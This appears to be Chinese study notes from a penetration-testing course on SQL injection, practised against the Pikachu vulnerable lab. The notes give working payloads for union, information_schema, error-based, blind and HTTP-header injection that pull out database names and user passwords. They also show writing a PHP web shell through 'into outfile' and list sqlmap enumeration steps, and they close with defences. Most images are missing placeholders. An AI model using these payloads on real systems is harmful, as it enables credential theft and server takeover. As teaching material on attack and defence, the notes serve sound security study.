SQL Injection

整理自: https://www.ichunqiu.com/course/63879

SQL Injection概述

  • 黑客在互联网区域构建sql语句,控制后台sql查询语句,实现攻击。

二、SQL Injection 渗透测试流程

第一步:注入点探测

  • 自动方式:使用web漏洞扫描工具,自动进行注入点发现
  • 手动方式:手工构造sql injection测试语句进行注入点发现

第二步:信息获取

  • 通过注入点取期望得到的数据
  • 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
  • 2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

第三步:获取权限

  • 获取操作系统权限:通过数据库执行shell,上传木马

常见注入点类型

  • 数字型 user_id=$id
  • 字符型 user_id='$id'
  • 搜索型 text LIKE '%{'"

如何判断注入点的类型

案例演示

1.数字型注入演示

  • 打开目标站点,抓包分析,数字型=$id


    SQL Injection_第1张图片
    image.png

    SQL Injection_第2张图片
    image.png

    SQL Injection_第3张图片
    image.png

    SQL Injection_第4张图片
    image.png
  • 结合后端源码分析 ,后端获取的id值没有做处理直接拼接到sql语句中,select username,email from member where + 拼接的值,如果是1 or 1=1的话,会把member表中所有username,email都查询出来。


    image.png

2.字符型注入演示

  • 根据浏览器url的变化,分析出为get请求,字符串型,字符串在select中要加''


    SQL Injection_第5张图片
    image.png

    SQL Injection_第6张图片
    image.png
  • 抓包


    SQL Injection_第7张图片
    image.png
  • 添加 or 1=1,失败


    SQL Injection_第8张图片
    image.png
  • 因为字符串会加'',所以name变量前边后台已经有一个'了,发送过去后,后台会再添加一个',所以select语句变量为'123 or 1=1'是查不到东西的。应该改成123' or 1=1# ,这样的话后台就变成了'123' or 1=1 ,#起注释的作用。
SQL Injection_第9张图片
image.png
  • 后端代码分析


    image.png

搜索型注入

SQL Injection_第10张图片
image.png
  • 构造闭合


    SQL Injection_第11张图片
    image.png
  • 后台代码分析。对查询变量没有做处理,直接拼接到查询语句中了。


    SQL Injection_第12张图片
    image.png

XX型

  • 后端源码分析可得构造闭合的方式


    image.png
  • 利用漏洞,构造闭合sql语句


    SQL Injection_第13张图片
    image.png
  • 总结:总而言之,就是对sql中的各种类型的输入进行闭合测试,构造合法sql,欺骗后台。

union注入

  • union联合查询:可以通过联合查询来查询指定的数据
  • 用法举例: select username,password from user where id=1 union select 字段1,字段2from 表名 联合查询的字段数需要和主查询一致
  • 数据库中演示


    SQL Injection_第14张图片
    image.png
  • 如何判断主查询的字段数。构造的sql语句中 用order by 数字,按列排序来判断有几列


    SQL Injection_第15张图片
    image.png
  • 实践


    SQL Injection_第16张图片
    image.png

    SQL Injection_第17张图片
    image.png

    SQL Injection_第18张图片
    image.png

    SQL Injection_第19张图片
    image.png

    SQL Injection_第20张图片
    image.png

information_schema注入

  • 知识点:
    information_schema mysql中的信息数据库,保存着mysql维护的其它数据库的信息。要了解两张表。1.tables表(提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表[引擎],创建时间等信息)中table_name 表名称、table_schema数据表所属的数据库名、table_type表类型[system view|base table]、engine使用的数据库引擎[MyISAM|CSV|InnoDB]、version版本,默认值10字段;2.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。TABLE_SCHEMA 表格所属的库,TABLE_NAME 表名,COLUMN_NAME字名,ORDINAL_POSITION字段标识。


    SQL Injection_第21张图片
    image.png

    SQL Injection_第22张图片
    image.png
  • 所以获取用户名和密码字段的思路为:在找到注入点,判断出union 可用的字段后,判断出所用的数据库名字和用户名字,然后再information_schema中查看对应的数据库(table_schema)有哪几个表(table_name),然后在columns查看对应的表有哪些字段。

  • 测试是否存在注入点


    SQL Injection_第23张图片
    image.png

    SQL Injection_第24张图片
    image.png

    SQL Injection_第25张图片
    image.png
  • 判断查询有几个字段。两个。


    SQL Injection_第26张图片
    image.png

    SQL Injection_第27张图片
    image.png

    SQL Injection_第28张图片
    image.png
  • 判断数据库名字和用户名字


    SQL Injection_第29张图片
    image.png
  • 构造payload。获取表名 kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


    SQL Injection_第30张图片
    image.png
  • 构造payload获取字段名
    kobe' union select table_name,column_name from information_schema.columns where table_name='users'#


    SQL Injection_第31张图片
    image.png

    *构造payload 获取内容
    kobe' union select username,password from users#


    SQL Injection_第32张图片
    image.png

基于函数报错的注入

  • 知识点
  • 常用的报错函数updatexml()\extravalue()、floot()
  • 基于函数报错的信息获取(selelect/insert/update/delete)
  • 技巧思路
  • 在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
  • 三个常用的用来报错的函数
    updatexml(): 函数是mysql对xml文档数据进行查询和修改的xpath函数
    作用:改变(查找并替换)xml文档中符合条件的节点的值
    语法:updatexml(xml_document,xpathstring,new_value)
    第一个参数:fiedname是string格式,为表中的字段名。
    第二个参数:xpathstring(xpath格式的字符串)
    第三个参数:new_value,string格式,替换查找到符合条件的
    xpath定位必须是有效的,否则会发生错误
    xpathstring可以是表达式,会执行
    extractvalue():函数也是mysql对xml文档数据进行查询的xpath函数。
    floor():mysql中用来取整的函数
  • 背景条件
  • 后台没有屏蔽数据库报错信息,在语法错误时会输出在最前端。

演示

*找到注入点后,构造payload。 l' and updatexml(1,version(),0)#


image.png
  • 构造payload 输出完整结果 concat()将里边的数据拼接成字符串 l' and updatexml(1,concat(0x7e,version()),0)#


    SQL Injection_第33张图片
    image.png
  • l' and updatexml(1,concat(0x7e,database()),0)#


    SQL Injection_第34张图片
    image.png
  • l' and updatexml(1,concat(0x7e, (select username from users)),0)#


    SQL Injection_第35张图片
    image.png
  • l' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),0)#


    SQL Injection_第36张图片
    image.png

基于insert update delete的注入利用案

SQL Injection_第37张图片
image.png

SQL Injection_第38张图片
image.png

image.png

image.png

image.png

SQL Injection_第39张图片
image.png

SQL Injection_第40张图片
image.png

SQL Injection_第41张图片
image.png

SQL Injection_第42张图片
image.png

SQL Injection_第43张图片
image.png

SQL Injection_第44张图片
image.png

SQL Injection_第45张图片
image.png

SQL Injection_第46张图片
image.png

extractvalue()

  • 作用
  • 从目标xml中返回包含所查询值的字符串
    语法:extractvalue(xml_document,xpath_string)
    第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc
    第二个参数:xpath_string(xpath格式的字符串)
    xpath定位必须是有效的,否则会发生错误
  • 演示
  • 构造payload,s' and extractvalue(0,concat(0x7e,version()))#


    SQL Injection_第47张图片
    image.png

    image.png

http header注入

  • 后台开发人员为了验证客户端头信息比如常用的cookie验证或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等
  • 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑会导致基于http header的sql injection漏洞


    SQL Injection_第48张图片
    image.png

    SQL Injection_第49张图片
    image.png

    SQL Injection_第50张图片
    image.png

    SQL Injection_第51张图片
    image.png
  • firefox' or updatexml(1,concat(0x7e,database( )),0) or '


    SQL Injection_第52张图片
    image.png

    SQL Injection_第53张图片
    image.png

    SQL Injection_第54张图片
    image.png

盲注

  • 什么是盲注以及常见的盲注类型
    服务器没有开启错误回显,屏蔽了报错信息。
  • 基于boolean(true or false)的盲注测试


    SQL Injection_第55张图片
    image.png

    SQL Injection_第56张图片
    image.png

    SQL Injection_第57张图片
    image.png

    SQL Injection_第58张图片
    image.png

    SQL Injection_第59张图片
    image.png

    SQL Injection_第60张图片
    image.png

    SQL Injection_第61张图片
    image.png

    SQL Injection_第62张图片
    image.png

    SQL Injection_第63张图片
    image.png

    SQL Injection_第64张图片
    image.png

    SQL Injection_第65张图片
    image.png

    SQL Injection_第66张图片
    image.png

    SQL Injection_第67张图片
    image.png
  • 构造paylod进行判断。
    kobe' and ascii(substr(database(),1,1))>113#


    SQL Injection_第68张图片
    image.png

    kobe' and ascii(substr(database(),1,1))>112#


    SQL Injection_第69张图片
    image.png

    kobe' and ascii(substr(database(),1,1))>111#
    SQL Injection_第70张图片
    image.png

    112 对应p

    盲注页面只返回正确的值或者输入错误。利用ascii进行判断;利用长度判断

  • 基于time的盲注测试


    SQL Injection_第71张图片
    image.png

    SQL Injection_第72张图片
    image.png

    ** kobe' and sleep(5)#


    SQL Injection_第73张图片
    image.png

    ** kobe' and if((substr(database()),1,1))='a',sleep(5),null)#
    SQL Injection_第74张图片
    image.png

    ** kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
    SQL Injection_第75张图片
    image.png

对服务器远程控制案例

  • 一句话木马
  • 如何通过into outfile写入恶意代码并控制os

** select 1,2 into outfile " var/www/html/1.txt"
** into outfile 将select的结果写入到指定目录的1.txt中
** 在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv
kobe' union select "",2 into outfile "C:\\xampp\\htdocs\\1.php"# ![image.png](https://upload-images.jianshu.io/upload_images/14172142-81f29f646c0aaac8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-9e665be802455a0f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-ac65b4ceb8575d31.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-c867f0f32ef1825a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) kobe' union select "_GET['cmd'])?>",2 into outfile "C:\xampp\htdocs\2.php"#

SQL Injection_第76张图片
image.png

SQL Injection_第77张图片
image.png

SQL Injection_第78张图片
image.png

暴力破解在sql中的应用

  • kobe' and exsits(select * from aa)#


    SQL Injection_第79张图片
    image.png

    SQL Injection_第80张图片
    image.png

    SQL Injection_第81张图片
    image.png

    SQL Injection_第82张图片
    image.png

    SQL Injection_第83张图片
    image.png

sql漏洞防范

  • 代码层面
    1.对输入进行严格的转义和过滤
    2.使用预处理和参数化
    *网络层面
    1.通过waf设备启用sql injection注入策略(或类似防护系统)
    2.云端防护(360网站卫士,阿里云盾等)


    SQL Injection_第84张图片
    image.png

    推荐预处理


    SQL Injection_第85张图片
    image.png

    SQL Injection_第86张图片
    image.png

    SQL Injection_第87张图片
    image.png

sqlmap简单使用方法

经典用法
第一步:
-u "xxx" --cookie="yyy" //带上cookie对url进行注入探测
第二部
-u "xxx" --cookie="yyy" -current-db //对数据库名进行获取
第三步:
-u "xxx" --cookie="yyy" -D pikaku --tables //对数据库的表名进行枚举
第四步:
-u "xxx" --cookie="yyy" -D pikaku -T users ==columns //对
pikaku里面名为users表的列名进行枚举


SQL Injection_第88张图片
image.png
image.png

SQL Injection_第89张图片
image.png
SQL Injection_第90张图片
image.png
image.png

SQL Injection_第91张图片
image.png

image.png

SQL Injection_第92张图片
image.png

image.png

image.png
SQL Injection_第93张图片
image.png

SQL Injection_第94张图片
image.png

SQL Injection_第95张图片
image.png

你可能感兴趣的:(SQL Injection)